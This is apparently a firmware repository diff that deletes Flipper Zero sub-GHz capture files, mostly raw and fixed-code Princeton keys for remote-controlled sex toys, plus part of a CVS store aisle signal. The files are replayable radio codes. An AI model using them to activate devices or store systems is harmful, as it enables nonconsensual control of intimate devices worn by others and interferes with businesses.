FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 8768 10163 -68 4091 -134 3649 -134 3025 -98 1675 -66 2875 -66 5281 -66 2225 -66 8519 -66 5743 -100 4549 -100 1913 -100 637 -132 463 -66 3811 -66 8571 -68 2661 -66 559 -134 3499 -168 26143 -66 8197 -66 301 -66 3389 -66 3057 -98 99 -66 1323 -66 4795 -66 399 -100 2507 -842 409 -852 411 -876 395 -848 417 -852 423 -872 409 -860 415 -844 1689 -416 429 -412 411 -446 411 -434 417 -448 385 -850 425 -874 383 -850 437 -418 415 -452 399 -432 417 -844 417 -862 413 -418 415 -454 401 -860 417 -848 437 -846 387 -442 409 -876 395 -424 441 -844 435 -422 413 -844 403 -456 413 -848 399 -880 383 -870 411 -850 395 -866 417 -848 439 -846 421 -834 415 -852 423 -836 1709 -416 445 -416 411 -444 413 -418 425 -410 445 -842 401 -882 385 -868 413 -416 435 -426 407 -876 397 -426 411 -448 407 -440 417 -846 407 -452 379 -448 415 -868 409 -416 417 -868 411 -420 433 -850 415 -450 401 -856 411 -410 423 -848 415 -888 385 -878 411 -846 415 -846 421 -874 383 -856 425 -872 407 -866 417 -844 1687 -418 431 -416 411 -426 443 -414 411 -424 441 -846 417 -822 443 -844 429 -416 413 -424 445 -844 403 -424 441 -412 409 -422 421 -876 419 -392 441 -412 415 -882 399 -432 415 -850 435 -428 387 -876 409 -422 425 -842 419 -420 451 -830 449 -844 397 -850 415 -854 425 -870 407 -826 451 -844 397 -852 415 -856 423 -874 1675 -410 451 -388 441 -444 413 -422 425 -410 445 -844 399 -850 415 -854 423 -446 411 -422 427 -836 415 -452 401 -426 441 -382 451 -858 411 -418 417 -416 453 -836 415 -418 445 -844 411 -416 447 -844 413 -416 445 -846 411 -420 417 -846 439 -844 417 -836 411 -854 423 -872 413 -842 413 -840 427 -836 451 -820 423 -838 1717 -388 447 -416 441 -396 451 -418 415 -410 455 -814 417 -866 411 -856 423 -446 381 -452 425 -820 421 -444 415 -420 433 -398 439 -844 423 -426 441 -382 447 -846 447 -382 447 -846 413 -418 417 -848 439 -388 449 -844 439 -388 447 -842 441 -810 447 -836 413 -864 409 -872 409 -840 421 -848 441 -846 423 -818 453 -844 1693 -414 409 -438 415 -446 415 -410 447 -412 407 -866 419 -846 435 -844 417 -410 445 -414 407 -832 453 -414 421 -426 411 -446 413 -856 399 -436 415 -418 417 -854 421 -442 383 -870 441 -420 415 -834 443 -418 415 -856 425 -408 445 -125288 65 -260 99 -466 399 -330 97 -100 65 -66 5301 -66 3661 -100 12179 -100 7269 -262 723 -66 8985 -66 27713 -66 4807 -164 6587 -64 16439 -98 2691 -100 367 -66 6151 -98 3479 -RAW_Data: -100 731 -66 3535 -66 1289 -100 6935 -68 27439 -66 4471 -66 1443 -66 1809 -66 6449 -166 6919 -66 4573 -66 4829 -66 2563 -66 8397 -100 3413 -68 3185 -100 6901 -66 13849 -132 21491 -68 6385 -100 12241 -66 3077 -66 10867 -98 9717 -66 11635 -100 2839 -66 229 -100 21221 -232 1717 -98 8161 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_1.sub deleted file mode 100644 index 32233efd9..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3127 2294 1385 -66 1641 -98 2195 -66 1015 -68 2727 -66 65 -66 2053 -68 759 -66 2699 -66 15591 -100 9109 -66 18395 -96 1873 -66 2813 -198 22249 -100 3689 -68 1531 -134 11271 -64 13745 -100 8153 -846 399 -876 391 -878 381 -904 377 -900 377 -876 397 -882 383 -862 1663 -442 415 -450 421 -416 409 -422 445 -414 417 -858 411 -848 423 -852 381 -444 423 -444 413 -418 411 -440 417 -846 405 -460 387 -444 417 -442 409 -844 421 -852 381 -474 407 -846 425 -428 409 -844 425 -428 407 -874 397 -426 409 -876 397 -848 417 -870 379 -882 397 -864 417 -846 403 -848 417 -884 389 -876 411 -844 1671 -450 407 -426 409 -448 413 -416 411 -442 383 -884 399 -860 383 -880 397 -850 417 -450 405 -426 409 -448 411 -852 413 -418 415 -454 409 -442 383 -882 399 -864 417 -420 443 -838 417 -420 405 -856 449 -416 407 -850 447 -416 409 -864 417 -846 397 -880 385 -870 413 -854 427 -836 417 -850 435 -848 387 -886 387 -876 1663 -448 409 -422 425 -442 383 -448 429 -414 411 -852 415 -854 425 -838 413 -876 411 -418 413 -450 399 -436 417 -874 399 -430 387 -446 417 -450 403 -848 417 -852 425 -442 383 -882 397 -432 417 -880 413 -440 387 -840 447 -418 397 -868 417 -846 437 -844 425 -854 415 -870 387 -872 411 -850 413 -844 425 -850 415 -852 1709 -432 389 -440 415 -418 395 -436 435 -416 413 -878 411 -848 419 -850 387 -874 409 -422 411 -448 415 -412 421 -880 383 -450 407 -430 407 -418 443 -848 411 -848 423 -456 413 -844 435 -388 445 -844 403 -454 415 -844 405 -454 413 -848 401 -882 387 -850 425 -874 411 -848 409 -844 425 -850 417 -846 409 -854 415 -878 1647 -452 133 -72 209 -426 433 -428 405 -418 171 -398 409 -870 415 -848 399 -884 383 -884 387 -444 417 -410 425 -426 409 -844 427 -426 441 -416 409 -438 417 -846 407 -850 447 -414 411 -864 417 -416 411 -852 413 -450 407 -862 417 -414 411 -852 447 -844 399 -850 413 -870 413 -838 415 -868 411 -882 379 -868 413 -876 397 -850 1699 -416 387 -450 395 -442 411 -448 409 -438 419 -846 407 -850 447 -846 399 -852 413 -452 405 -428 407 -448 411 -848 411 -418 411 -450 415 -412 447 -848 381 -874 433 -388 443 -842 435 -414 411 -878 409 -412 411 -876 411 -416 411 -135508 65 -2342 165 -536 725 -66 227 -264 99 -66 229 -132 99 -166 13797 -100 2413 -66 7893 -66 5039 -134 4175 -68 269 -100 6293 -66 2543 -66 6611 -132 4981 -100 4329 -64 229 -64 3063 -100 9575 -66 12669 -132 1773 -164 1563 -66 15307 -100 12671 -130 -RAW_Data: 3713 -66 131 -66 1773 -66 14239 -66 45989 -68 5061 -68 19555 -100 16001 -66 4121 -66 7429 -68 2921 -66 3369 -130 4211 -100 10169 -66 625 -98 561 -100 15417 -68 97 -66 5045 -66 1425 -66 2119 -68 2371 -66 5173 -66 14625 -68 6539 -66 7319 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_2.sub deleted file mode 100644 index 2181ede1f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -98 11893 11058 10959 -66 22729 -100 13097 -66 5669 -98 1355 -68 8475 -100 929 -66 28751 -66 9865 -66 15543 -100 3013 -100 44013 -64 1343 -100 26425 -98 21805 -98 2135 -66 6217 -134 3331 -882 383 -870 411 -838 421 -840 445 -846 413 -844 423 -852 413 -888 1669 -436 387 -446 417 -450 403 -428 409 -446 419 -850 409 -846 419 -870 383 -852 425 -444 383 -448 423 -398 437 -842 427 -428 407 -418 417 -450 411 -840 417 -848 403 -454 415 -846 435 -388 443 -848 401 -424 447 -842 405 -422 441 -846 401 -854 415 -852 427 -840 413 -876 409 -838 427 -856 415 -838 421 -876 411 -844 1669 -450 407 -428 409 -416 443 -418 395 -472 411 -838 423 -840 413 -878 411 -844 425 -426 407 -446 411 -848 413 -416 449 -424 409 -446 381 -886 397 -430 447 -840 423 -444 413 -838 423 -442 383 -882 397 -438 417 -846 437 -432 419 -842 409 -866 417 -844 401 -850 417 -850 423 -840 445 -848 411 -870 395 -872 415 -838 1707 -420 383 -450 425 -398 435 -448 407 -434 387 -876 409 -852 415 -844 427 -854 413 -442 407 -418 417 -846 437 -388 445 -416 411 -426 423 -872 407 -438 387 -870 411 -434 415 -846 407 -424 443 -846 407 -452 381 -876 409 -436 419 -846 407 -890 383 -876 397 -850 415 -836 411 -878 409 -848 413 -842 427 -836 451 -850 1669 -438 417 -450 383 -452 403 -428 409 -416 443 -848 413 -844 427 -852 411 -852 427 -442 381 -450 427 -854 379 -450 427 -430 407 -418 415 -882 411 -418 415 -848 437 -388 445 -844 403 -424 445 -846 397 -426 441 -844 401 -520 343 -822 429 -984 281 -856 405 -1020 259 -870 411 -1116 135 -858 395 -1134 177 -832 401 -850 131 -252 1313 -436 417 -418 417 -450 403 -426 441 -384 443 -850 415 -844 425 -850 413 -868 413 -444 391 -444 415 -846 435 -388 443 -418 409 -428 417 -884 413 -410 423 -840 417 -420 437 -856 417 -416 381 -878 415 -418 415 -850 441 -416 415 -850 439 -846 417 -852 417 -846 415 -860 413 -846 427 -850 417 -846 407 -882 383 -878 1681 -412 423 -442 417 -416 407 -436 415 -450 385 -886 387 -874 411 -848 413 -846 427 -424 447 -414 409 -864 419 -418 409 -438 417 -416 417 -854 395 -470 381 -850 435 -432 419 -846 409 -420 423 -838 447 -416 411 -876 417 -424 409 -134478 129 -98 67 -728 265 -132 133 -100 163 -168 265 -66 133 -98 133 -364 65 -200 165 -164 7645 -100 9621 -132 21331 -68 15509 -100 12455 -66 23139 -100 4549 -68 199 -66 3317 -66 3093 -100 4177 -66 48579 -66 1891 -100 3615 -66 3293 -68 6249 -98 21645 -66 12003 -RAW_Data: -66 2529 -134 1093 -100 19319 -164 16107 -66 43667 -198 24705 -98 1943 -166 11199 -66 4539 -132 3017 -66 7187 -66 3055 -66 1593 -68 863 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_3.sub deleted file mode 100644 index 67930c57d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_3.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 7895 7063 33537 -132 16657 -66 9053 -66 21375 -66 61263 -876 397 -884 383 -852 423 -840 419 -882 411 -814 451 -852 387 -876 1665 -446 411 -420 425 -442 381 -452 425 -400 437 -842 425 -836 447 -836 415 -868 409 -420 429 -428 407 -844 427 -424 443 -414 407 -440 415 -844 409 -436 415 -846 451 -402 423 -840 419 -420 451 -834 411 -412 443 -846 413 -414 445 -848 411 -842 427 -836 451 -852 387 -876 413 -848 415 -846 423 -852 413 -852 425 -840 1037 -418 411 -446 411 -448 413 -410 423 -424 443 -844 403 -848 415 -852 421 -878 411 -416 409 -446 415 -856 397 -866 419 -416 411 -420 411 -878 411 -850 449 -844 399 -426 411 -840 429 -424 443 -844 397 -426 443 -842 431 -418 417 -846 433 -846 383 -854 423 -874 385 -850 441 -848 423 -818 421 -876 419 -818 439 -844 1679 -448 415 -410 447 -412 409 -434 415 -418 419 -886 387 -842 447 -846 413 -844 423 -410 445 -416 407 -870 419 -846 403 -424 445 -414 419 -856 413 -842 427 -854 411 -442 409 -844 425 -424 441 -844 399 -424 443 -810 427 -410 447 -846 403 -850 451 -818 421 -878 411 -846 413 -844 425 -854 409 -834 411 -878 411 -850 1703 -416 411 -426 411 -446 413 -418 423 -442 413 -834 409 -886 399 -828 451 -842 435 -386 447 -414 441 -840 419 -848 433 -388 445 -414 411 -854 449 -844 397 -852 413 -440 427 -842 423 -416 411 -852 415 -452 405 -856 411 -410 455 -840 385 -856 423 -870 407 -826 451 -842 399 -850 413 -854 397 -866 419 -846 403 -848 1705 -420 415 -420 433 -428 441 -382 445 -418 409 -878 413 -842 411 -844 427 -854 413 -440 411 -416 417 -850 439 -846 419 -418 411 -426 409 -844 427 -870 385 -888 387 -446 415 -856 395 -438 417 -850 417 -434 395 -866 419 -418 441 -824 417 -878 399 -836 451 -824 411 -874 397 -866 419 -844 437 -812 415 -854 423 -842 1719 -418 413 -412 173 -404 411 -446 409 -442 195 -862 423 -854 165 -828 453 -816 237 -400 443 -414 419 -862 413 -814 451 -416 409 -424 441 -840 401 -870 419 -856 411 -410 457 -814 415 -452 409 -854 411 -410 457 -848 419 -400 433 -128868 99 -424 131 -98 65 -260 65 -264 97 -992 2409 -66 101225 -130 26027 -98 18101 -66 14519 -100 33139 -68 2237 -130 5591 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_4.sub deleted file mode 100644 index ae0acd535..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_4.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3849 2985 11669 -68 53333 -66 1149 -66 129689 -872 375 -884 407 -880 361 -880 387 -908 369 -886 379 -878 399 -884 1679 -416 417 -450 399 -426 407 -446 413 -456 389 -870 409 -864 381 -878 397 -848 417 -442 409 -418 411 -880 413 -846 421 -412 445 -416 407 -870 417 -848 399 -850 415 -452 401 -854 413 -416 433 -854 413 -442 409 -846 425 -430 407 -844 427 -850 413 -886 389 -840 445 -848 411 -846 423 -854 383 -866 411 -882 399 -860 1701 -410 415 -420 441 -410 415 -450 423 -400 431 -844 425 -856 409 -838 423 -874 411 -418 423 -840 419 -420 437 -430 419 -416 415 -836 411 -448 391 -452 409 -852 415 -452 405 -854 413 -418 431 -852 413 -412 425 -850 415 -450 403 -854 413 -856 397 -868 417 -848 397 -882 417 -852 387 -876 383 -886 411 -846 423 -854 1701 -418 415 -444 393 -424 445 -414 409 -434 417 -846 409 -852 449 -842 401 -848 415 -450 405 -850 415 -444 395 -424 445 -414 411 -848 413 -416 445 -418 411 -878 411 -422 427 -838 417 -420 409 -870 417 -418 417 -860 413 -418 415 -848 439 -842 427 -848 415 -852 427 -840 417 -884 409 -846 421 -858 379 -852 435 -862 1667 -428 405 -414 443 -424 427 -408 415 -452 423 -824 415 -882 397 -864 415 -840 437 -412 379 -904 409 -412 445 -614 247 -418 379 -874 409 -426 423 -444 413 -854 135 -68 231 -418 417 -846 411 -418 411 -876 417 -430 311 -942 415 -442 409 -860 415 -840 403 -868 425 -854 413 -840 423 -838 419 -848 439 -816 417 -886 387 -838 1701 -416 417 -454 399 -432 417 -448 385 -454 405 -850 415 -868 417 -848 409 -850 447 -382 445 -848 413 -416 445 -418 411 -446 413 -854 395 -434 415 -446 421 -852 413 -418 431 -836 413 -442 409 -842 429 -426 411 -846 427 -426 443 -842 399 -880 383 -852 423 -874 417 -818 443 -842 423 -852 417 -846 407 -854 415 -844 1685 -454 389 -452 407 -426 407 -444 409 -422 449 -848 415 -840 401 -854 413 -864 409 -446 417 -852 415 -412 425 -426 411 -448 413 -844 415 -418 445 -416 411 -870 409 -436 417 -846 411 -416 411 -876 413 -420 411 -876 417 -428 399 -129016 99 -1458 99 -300 231 -964 165 -998 131 -166 1095 -232 80625 -66 59789 -266 13747 -66 8933 -66 1489 -98 1093 -66 49209 -68 34561 -66 25575 -132 17179 -66 34913 -66 55037 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_off.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_off.sub deleted file mode 100644 index 03a157485..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_off.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 114361 -17230 231 -198 99 -232 99 -298 65 -264 97 -362 131 -196 263 -364 229 -230 163 -330 295 -66 367 -68 731 -66 57901 -14496 133 -1924 99 -364 163 -198 65 -466 197 -364 133 -100 297 -198 267 -134 97 -234 197 -330 131 -132 1589 -826 411 -870 409 -872 409 -860 415 -840 403 -850 415 -888 387 -872 1697 -422 415 -410 421 -444 381 -450 423 -416 411 -426 409 -418 417 -454 415 -404 423 -444 413 -410 423 -424 443 -844 401 -424 443 -414 411 -422 423 -868 409 -860 383 -448 441 -840 419 -418 407 -852 449 -384 437 -868 417 -416 407 -864 417 -846 401 -854 413 -872 387 -840 447 -846 411 -844 429 -852 413 -854 395 -866 1705 -420 415 -416 441 -410 417 -450 417 -410 443 -382 443 -422 411 -446 413 -420 429 -428 409 -418 413 -446 411 -442 413 -408 439 -420 415 -418 409 -440 415 -850 437 -432 415 -846 417 -432 411 -876 385 -452 409 -840 417 -456 397 -864 417 -812 429 -848 417 -868 387 -874 409 -866 419 -848 397 -850 415 -854 425 -840 1709 -390 443 -418 409 -440 417 -416 417 -450 399 -426 441 -414 409 -436 415 -416 417 -418 429 -442 415 -416 409 -438 385 -480 383 -450 403 -426 409 -448 413 -844 413 -416 445 -846 413 -418 443 -848 411 -418 415 -848 437 -420 413 -846 403 -880 417 -834 415 -856 425 -838 415 -876 409 -846 421 -852 413 -834 413 -884 1655 -418 449 -442 387 -444 415 -418 431 -430 405 -418 415 -452 409 -442 381 -450 391 -450 411 -424 445 -416 409 -426 425 -442 383 -448 389 -450 405 -428 409 -846 425 -426 407 -876 395 -428 407 -844 427 -424 443 -842 433 -388 445 -846 403 -884 417 -850 417 -848 407 -850 415 -876 399 -854 415 -850 395 -868 417 -852 1695 -452 401 -428 407 -444 411 -418 425 -444 413 -412 423 -424 441 -414 413 -420 413 -446 413 -412 421 -424 443 -414 409 -438 417 -448 385 -450 407 -426 409 -844 429 -424 441 -846 399 -426 409 -876 397 -424 443 -846 401 -426 443 -844 403 -850 415 -870 413 -836 443 -844 407 -856 415 -878 395 -850 417 -852 427 -838 1707 -420 413 -418 411 -438 417 -448 387 -450 407 -426 409 -448 415 -428 395 -468 383 -448 427 -414 411 -422 443 -414 411 -424 411 -446 417 -408 423 -446 413 -846 405 -454 415 -842 399 -424 443 -846 399 -424 411 -876 403 -424 439 -137706 131 -166 65 -100 265 -266 197 -164 299 -460 1121 -100 429 -66 363 -66 35053 -68 172083 -132 101251 -18404 131 -230 99 -64 131 -66 65 -132 131 -98 197 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/ReadMe.md b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/ReadMe.md deleted file mode 100644 index 245be018f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/ReadMe.md +++ /dev/null @@ -1,2 +0,0 @@ -# Nu Sensuelle 15-Function Vibrating Mini-Plug -## Thanks av0cad0! \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sexrabbit_Vibrator/Power_Toggle_Long_Press.sub b/assets/resources/subghz/Misc/Sextoy/Sexrabbit_Vibrator/Power_Toggle_Long_Press.sub deleted file mode 100644 index e18526b66..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sexrabbit_Vibrator/Power_Toggle_Long_Press.sub +++ /dev/null @@ -1,10 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 249 -655 394 -462 532 -529 666 -423 399 -205 142 -116 178 -576 142 -388 426 -380 388 -491 350 -210 612 -457 315 -227 128 -122 405 -561 291 -116 557 -652 488 -108 199 -115 488 -137 377 -535 487 -406 697 -275 187 -630 336 -648 150 -127 355 -455 107 -323 450 -354 534 -676 449 -483 427 -129 169 -587 634 -108 375 -445 497 -440 591 -622 247 -275 121 -610 300 -180 143 -452 167 -439 547 -587 108 -215 606 -299 252 -202 493 -551 138 -574 406 -633 353 -255 345 -296 193 -373 604 -217 256 -300 465 -124 335 -474 -RAW_Data: 13377 -2814 457 -468 5487 -5620 1529 -468 1549 -428 1555 -438 543 -2012 567 -2002 1601 -410 1567 -416 577 -1986 625 -1970 611 -1954 623 -1966 1605 -380 1611 -386 605 -1978 611 -1966 1579 -392 429 -378 405 -6804 5597 -5534 1609 -390 1565 -420 1581 -416 575 -2004 611 -1946 1603 -384 1597 -420 581 -1992 591 -1998 575 -2004 575 -1998 1571 -418 1601 -382 595 -2004 583 -1978 1589 -420 357 -418 387 -8428 5579 -5524 1635 -378 1575 -412 1597 -414 581 -1974 601 -1964 1601 -418 1569 -382 609 -2008 587 -2002 -RAW_Data: 581 -1976 601 -2004 1579 -380 1613 -388 603 -1990 597 -1972 1573 -416 383 -386 413 -8420 5577 -5536 1605 -384 1601 -422 1569 -382 601 -1996 615 -1942 1607 -394 1623 -358 631 -1976 611 -1966 587 -1968 645 -1970 1571 -406 1613 -358 629 -1984 575 -1988 1595 -386 411 -388 409 -8414 5551 -5568 1595 -384 1611 -388 1609 -380 611 -1976 601 -1974 1597 -382 1601 -388 613 -1994 589 -1962 637 -1960 621 -1946 1607 -388 1593 -394 593 -2012 577 -1994 1583 -392 399 -394 401 -71822 297 -66 331 -234 131 -66 229 -68 -RAW_Data: 65 -1028 265 -958 65 -820 295 -200 1223 -100 65 -66 497 -132 5757 -8380 165 -1320 65 -662 565 -166 595 -134 299 365 -223 186 -209 156 -408 646 -514 616 -126 329 -605 127 -112 174 -512 618 -376 541 -417 107 -405 387 -409 669 -489 310 -144 591 -575 662 -346 394 -372 485 -181 233 -453 552 -650 486 -487 227 -388 578 -120 301 -640 354 -434 590 -305 537 -543 321 -293 219 -226 149 -608 265 -272 150 -417 526 -213 267 -691 645 -263 454 -529 689 -348 183 -354 164 -208 412 -531 400 -320 547 -442 413 -588 646 -601 -RAW_Data: 424 -258 282 -528 293 -284 499 -131 688 -248 609 -423 439 -329 339 -654 449 -500 327 -385 236 -655 233 -354 232 -278 635 -638 397 -603 311 -610 461 -336 553 -536 648 -128 618 -636 509 -130 265 -131 241 -442 379 -577 209 -314 160 -426 548 -132 658 -507 369 -259 398 -613 587 -625 334 -404 422 -270 680 -587 162 -307 534 -588 307 -297 482 -430 649 -295 397 -245 296 -655 403 -256 291 -632 349 -215 369 -599 315 -373 670 -571 488 -675 674 -464 683 -185 135 -496 140 -392 423 -458 343 -391 139 -210 306 -479 diff --git a/assets/resources/subghz/Misc/Sextoy/Sextoy1.sub b/assets/resources/subghz/Misc/Sextoy/Sextoy1.sub deleted file mode 100644 index c717f827f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sextoy1.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -# Sextoy1 capture by StephS_escape -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 8B 02 02 -TE: 362 \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sextoy2.sub b/assets/resources/subghz/Misc/Sextoy/Sextoy2.sub deleted file mode 100644 index d192d2d75..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sextoy2.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -# Sextoy2 capture by StephS_escape -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 8B 02 05 -TE: 362 \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sextoy3.sub b/assets/resources/subghz/Misc/Sextoy/Sextoy3.sub deleted file mode 100644 index 2bc87019d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sextoy3.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -# Sextoy3 capture by StephS_escape -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 8B 02 04 -TE: 362 \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sextoy4.sub b/assets/resources/subghz/Misc/Sextoy/Sextoy4.sub deleted file mode 100644 index ab66ee683..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sextoy4.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -# Sextoy4 capture by StephS_escape -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 8B 02 03 -TE: 362 \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/ReadMe.md b/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/ReadMe.md deleted file mode 100644 index 6d84e754d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/ReadMe.md +++ /dev/null @@ -1,3 +0,0 @@ -## Sinful Bullet Vibrator - -https://www.sinful.fi/sinful-ladattava-power-bullet-vibraattori \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_level.sub b/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_level.sub deleted file mode 100644 index a02d53095..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_level.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 AA 55 02 -TE: 239 diff --git a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_power.sub b/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_power.sub deleted file mode 100644 index f7d343600..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_power.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 AA 55 01 -TE: 240 diff --git a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/ReadMe.md b/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/ReadMe.md deleted file mode 100644 index 05e36f9f6..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/ReadMe.md +++ /dev/null @@ -1,5 +0,0 @@ -# Sway Vibes No. 3 - -Vibrating panties with remote - -![Sway_Vibes_3](https://user-images.githubusercontent.com/57457139/194739791-ed1b4362-10e7-4d05-9aeb-2828ac6a7b68.jpg) diff --git a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_mode.sub b/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_mode.sub deleted file mode 100644 index 03c7e3cf2..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_mode.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 00 FF A5 -TE: 392 diff --git a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_on_off.sub b/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_on_off.sub deleted file mode 100644 index a441afb9e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_on_off.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 00 FF 5A -TE: 391 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Eight.sub b/assets/resources/subghz/Stores/CVS/Aisle_Eight.sub deleted file mode 100644 index 035f7bc6c..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Eight.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 788 -748 1556 -1520 824 -740 1548 -740 1584 -744 1544 -740 1588 -744 1540 -744 1584 -744 1544 -740 1588 -740 1544 -744 1588 -736 1548 -744 1584 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -736 1548 -744 1588 -1500 784 -740 1588 -1500 784 -744 1584 -1500 788 -740 1584 -1504 784 -740 1584 -1504 784 -1500 820 -1504 784 -1500 828 -1500 788 -736 1584 -1504 784 -740 1580 -4584 788 -748 1556 -1520 784 -744 1564 -1512 832 -740 1548 -740 1584 -736 1552 -740 1588 -740 1544 -744 1580 -740 1548 -740 1588 -740 1544 -736 1588 -740 1544 -744 1584 -740 1548 -736 1588 -744 1544 -740 1584 -740 1548 -740 1588 -740 1544 